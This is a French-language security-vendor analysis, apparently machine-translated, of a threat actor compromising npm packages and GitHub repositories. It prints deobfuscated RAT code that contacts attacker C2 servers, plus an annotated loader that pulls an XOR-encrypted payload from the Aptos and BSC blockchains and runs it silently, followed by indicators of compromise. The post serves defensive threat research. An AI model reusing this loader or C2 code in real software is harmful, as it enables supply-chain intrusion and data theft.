Aikido

Un regard plus approfondi sur l'acteur de la menace à l'origine de l'attaque react-native-aria

Charlie Eriksen
Charlie Eriksen
|
#
#

Vous avez peut-être vu l'histoire récente d'un groupe d'acteurs de la menace compromettant 16 paquets populaires liés à React Native Aria et GlueStack, que nous avons découverts et documentés ici. Précédemment, nous avons détecté qu'ils avaient compromis le paquet rand-user-agent le 5 mai 2025, comme indiqué ici

Nous suivons cet acteur de la menace depuis lors et avons observé des attaques de moindre envergure que nous n'avons pas encore entièrement documentées publiquement. Cependant, nous avons voulu les compiler pour donner une image plus large de leur activité. 

Paquets malveillants initiaux

Le 8 mai 2025, nos systèmes nous avaient déjà alertés sur deux nouveaux paquets sur npm qui semblaient être malveillants. Il s'agit de :

Ces images ont été téléchargées par le même utilisateur, aminengineeringsinscrit à l'adresse électronique aminengineerings@gmail[.]com. Dès les premières versions, elles contenaient toutes deux la charge utile malveillante, ce qui indique que ce paquet appartient aux acteurs de la menace eux-mêmes.

Plus de paquets malveillants

Nous avons également vu deux paquets supplémentaires publiés par l'attaquant après l'attaque sur gluestack. Ces paquets ont été publiés le 8 juin 2025, sous les noms suivants tailwindcss-animate-expand et mangouste-lit. Ils ont été publiés par un utilisateur appelé mattfarser. L'utilisateur a ensuite été rapidement supprimé.

Plus précisément, le tailwindcss-animate-expand est intéressant, car il présente une structure de charge utile différente. La première partie ressemble à ceci :

global['r']=require;(function(){var Afr='',xzH=906-895;...

Nous ne voyons plus les global['_V'] étant définie. Lorsque nous l'exécutons dans un bac à sable, nous constatons que la charge utile finale est également légèrement différente. La charge utile ressemble à ceci après la désobfuscation :

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

Ce qui est particulièrement intéressant, c'est que nous constatons que la version est A4qui a été référencé dans l'attaque du week-end comme un signal d'utilisation du nouveau serveur C2.

Nous constatons également que l'"ancien" serveur C2 n'est plus mentionné. A la place, ils ont ajouté l'IP 166.88.4[.]2.

Signes d'alerte

Avant cette attaque, nous avions remarqué que quelques petits paquets avaient été compromis. Voici les paquets que nous avons remarqués :

Paquet Version Date de sortie
@lfwfinance/sdk 1.3.5 3 juin 2025
@lfwfinance/sdk-dev 2.0.10 3 juin 2025
algorand-htlc 1.0.2 3 juin 2025
avm-satoshi-dice 1.0.6 3 juin 2025
biatec-avm-gas-station 1.1.2 3 juin 2025
arc200-client 1.0.7 3 juin 2025
nœud cputil 0.6.6 3 juin 2025

Ces paquets appartiennent à trois personnes différentes et sont téléchargés moins de 100 fois par semaine. Il semble que ces acteurs de la menace soient toujours en mesure de compromettre les jetons des comptes npm. 

Dépôts GitHub compromis 

En poursuivant notre enquête sur ces attaques, nous avons décidé d'examiner d'autres écosystèmes à la recherche de preuves susceptibles de nous éclairer davantage sur le mode de fonctionnement de ces acteurs de la menace. Nous avons pu détecter 19 dépôts sur GitHub que les mêmes acteurs de la menace ont compromis :

Repo Date Engagement
LZeroAnalytics / ethereum-faucet 04 juin 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04 juin 2025 f325ab6
DogukanGun / TurkClub 23 mai 2025 84aaa06
khaliduddin / nombres-jeu 19 mai 2025 36f20cb
DogukanGun / NexWallet 16 mai 2025 43193c5
DogukanGun / NexAI 14 mai 2025 74d5221
revoks / plume ronde-1f9f 01 mai 2025 ca05542
LLM-Red-Team / glm-free-api 28 avril 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 Avr 2025 37f4c58
DogukanGun / pipeline-templates 02 avril 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 mars 2025 e3636c9
UnderGod-dev / portfolio 29 mars 2025 87f8add
DogukanGun / PopScope 26 mars 2025 1775087
DogukanGun / NexAgent 23 mars 2025 7ff7afa
Sid31 / front-buy-free 28 février 2025 ce93a20
DogukanGun / supabase 12 janvier 2025 71e169b
LLM-Red-Team / kimi-free-api 17 décembre 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 décembre 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13 décembre 2024 d8046bf

Il y a un certain nombre d'engagements qui sortent du lot, par exemple :

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

L'auteur de la menace a légèrement modifié la charge utile qu'il utilise. Dans ce cas, il a encodé en base64 une charge utile qu'il transmet à eval(). Voici la charge utile décodée, annotée de commentaires décrivant sa fonctionnalité.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Ce code est astucieux, car il s'autoalimente partiellement à partir du contenu de deux blockchains différentes. Voici un aperçu étape par étape :

La transaction sur la chaîne intelligente de Binance peut être consultée ci-dessous. Il convient de noter que le portefeuille et le contrat existent depuis le 7 février 2025 : 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Nous avons exécuté le code dans un bac à sable et obtenu la charge utile finale, et il s'agissait de la même charge utile que celle que nous avons déjà documentée auparavant, sans aucun changement significatif. 

Conclusions

Nous constatons que l'acteur de la menace compromet activement et régulièrement non seulement les paquets npm, mais aussi les dépôts GitHub. En outre, il a expérimenté le déploiement de ses propres paquets avec son RAT. Il a également commencé à utiliser les blockchains pour diffuser son code malveillant. 

Indicateurs de compromis

Emballages

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mangouste légère
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-client
  • nœud cputil

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Compte Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Adresse BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrat BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

Obtenir la sécurité gratuitement

Sécurisez votre code, votre cloud et votre environnement d'exécution dans un système central.
Trouvez et corrigez rapidement et automatiquement les vulnérabilités.

Aucune carte de crédit n'est requise |Résultats du balayage en 32 secondes.